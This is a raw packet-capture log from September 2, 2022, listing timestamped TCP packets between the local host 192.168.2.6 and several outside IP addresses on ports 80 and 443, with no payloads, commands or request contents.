Sep 2, 2022 14:02:20.403805971 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403820992 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.403846025 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.403872967 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403889894 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403908014 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.403918028 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.403938055 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.403954029 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.403964996 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.404002905 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.417728901 CEST	80	49773	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.417985916 CEST	80	49773	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.418128014 CEST	49773	80	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.418276072 CEST	80	49773	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.418332100 CEST	49773	80	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.418467999 CEST	49773	80	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.419163942 CEST	80	49772	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.419258118 CEST	49772	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.421341896 CEST	49776	80	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.421958923 CEST	49772	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.421968937 CEST	80	49770	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.422036886 CEST	49770	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.429610014 CEST	80	49774	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.429812908 CEST	49774	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.431684017 CEST	49774	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.432267904 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432297945 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432326078 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432358980 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.432373047 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432387114 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.432414055 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432429075 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.432456017 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.432467937 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432497978 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432527065 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.432538986 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.432554960 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432583094 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432610035 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432630062 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.432650089 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432663918 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.432694912 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432704926 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.432732105 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432744980 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.432771921 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432785988 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.432812929 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432825089 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.432854891 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432863951 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.432890892 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432904005 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.432929993 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432941914 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.432969093 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.432982922 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.433010101 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.433022022 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.433053970 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.433063030 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.433104038 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.435694933 CEST	80	49773	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.438554049 CEST	80	49776	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.438730001 CEST	49776	80	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.453860998 CEST	49776	80	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.454304934 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.454344034 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.454376936 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.454412937 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.454437971 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.454448938 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.454454899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.454478979 CEST	80	49767	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.454493046 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.454526901 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.454561949 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.454581976 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.454613924 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.454711914 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.454736948 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.454762936 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.454781055 CEST	80	49775	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.455058098 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.455097914 CEST	49775	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.455660105 CEST	49777	443	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.455709934 CEST	443	49777	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.455801010 CEST	49777	443	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.458620071 CEST	49777	443	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.458652020 CEST	443	49777	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.458976030 CEST	49775	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.461513042 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.461559057 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.461601019 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.461622953 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.461659908 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.461672068 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.461699963 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.461741924 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.461764097 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.461801052 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.461822987 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.461863995 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.461884975 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.461921930 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.461941957 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.461982965 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.462002039 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.462042093 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.462059975 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.462101936 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.462120056 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.462166071 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.462179899 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.462224960 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.462239027 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.462285042 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.462297916 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.462344885 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.462357998 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.462404966 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.462418079 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.462464094 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.462477922 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.462524891 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.462544918 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.462574959 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.462603092 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.462649107 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.462661028 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.462692976 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.462753057 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.462795019 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.462814093 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.462850094 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.463798046 CEST	80	49774	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.465042114 CEST	80	49774	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.465086937 CEST	80	49774	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.465126991 CEST	80	49774	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.465137005 CEST	49774	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.465178967 CEST	49774	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.465190887 CEST	49774	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.465231895 CEST	80	49774	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.465274096 CEST	80	49774	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.465284109 CEST	49774	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.465312958 CEST	80	49774	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.465327024 CEST	49774	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.465348959 CEST	80	49774	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.465351105 CEST	49774	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.465364933 CEST	49774	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.465372086 CEST	49774	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.465401888 CEST	49774	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.465473890 CEST	80	49774	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.465506077 CEST	80	49774	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.465523005 CEST	49774	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.465534925 CEST	80	49774	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.465552092 CEST	49774	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.465579987 CEST	49774	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.466964006 CEST	49778	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.471196890 CEST	80	49776	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.471288919 CEST	49776	80	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.478382111 CEST	80	49772	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.478498936 CEST	80	49772	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.478532076 CEST	80	49772	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.478574038 CEST	49772	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.478600979 CEST	49772	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.478854895 CEST	49772	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.479904890 CEST	49779	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.491534948 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.491581917 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.491620064 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.491648912 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.491684914 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.491703987 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.491779089 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.491791964 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.491820097 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.491849899 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.491890907 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.491908073 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.491947889 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.491966009 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.492007971 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.492023945 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.492072105 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.492084026 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.492111921 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.492141008 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.492186069 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.492203951 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.492237091 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.492260933 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.492307901 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.492321014 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.492352009 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.492378950 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.492419958 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.492438078 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.492477894 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.492505074 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.492535114 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.492564917 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.492604971 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.492621899 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.492654085 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.492681026 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.492722034 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.492741108 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.492774010 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.492798090 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.492851973 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.492868900 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.492959023 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.497874022 CEST	80	49774	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.497956038 CEST	49774	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.500122070 CEST	80	49778	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.500291109 CEST	49778	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.500627995 CEST	49778	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.502176046 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.502237082 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.502329111 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.502814054 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.502836943 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.503715992 CEST	443	49777	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.503822088 CEST	49777	443	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.509763002 CEST	49777	443	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.509774923 CEST	443	49777	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.509990931 CEST	443	49777	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.510072947 CEST	49777	443	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.510710001 CEST	49777	443	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.514569044 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.514616013 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.514656067 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.514697075 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.514715910 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.514750004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.514792919 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.514810085 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.514841080 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.514868021 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.514918089 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.514929056 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.514975071 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.514986992 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.515019894 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.515047073 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.515094042 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.515105963 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.515141010 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.515163898 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.515209913 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.515221119 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.515252113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.515278101 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.515317917 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.515341043 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.515377045 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.515446901 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.515511990 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.515532970 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.515556097 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.515592098 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.515639067 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.515650988 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.515690088 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.515724897 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.515743017 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.515764952 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.515815020 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.515898943 CEST	80	49775	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.515930891 CEST	80	49775	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.515996933 CEST	49775	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.516094923 CEST	80	49775	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.516154051 CEST	49775	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.517170906 CEST	49775	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.518166065 CEST	49781	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.521536112 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.521575928 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.521595001 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.521621943 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.521652937 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.521718025 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.521734953 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.521780014 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.521794081 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.521833897 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.521863937 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.521912098 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.521960974 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.522011995 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.522034883 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.522079945 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.522113085 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.522154093 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.522278070 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.522320032 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.522330046 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.522363901 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.522406101 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.522448063 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.522459030 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.522486925 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.522520065 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.522564888 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.522576094 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.522602081 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.522628069 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.522670984 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.522681952 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.522717953 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.522735119 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.522763014 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.522787094 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.522830009 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.522840977 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.522870064 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.522893906 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.522937059 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.522948027 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.522975922 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.523000956 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.523037910 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.523063898 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.523077965 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.533349037 CEST	80	49778	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.533493996 CEST	49778	80	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.535763979 CEST	80	49772	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.536382914 CEST	80	49779	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.536498070 CEST	49779	80	192.168.2.6	87.240.132.78
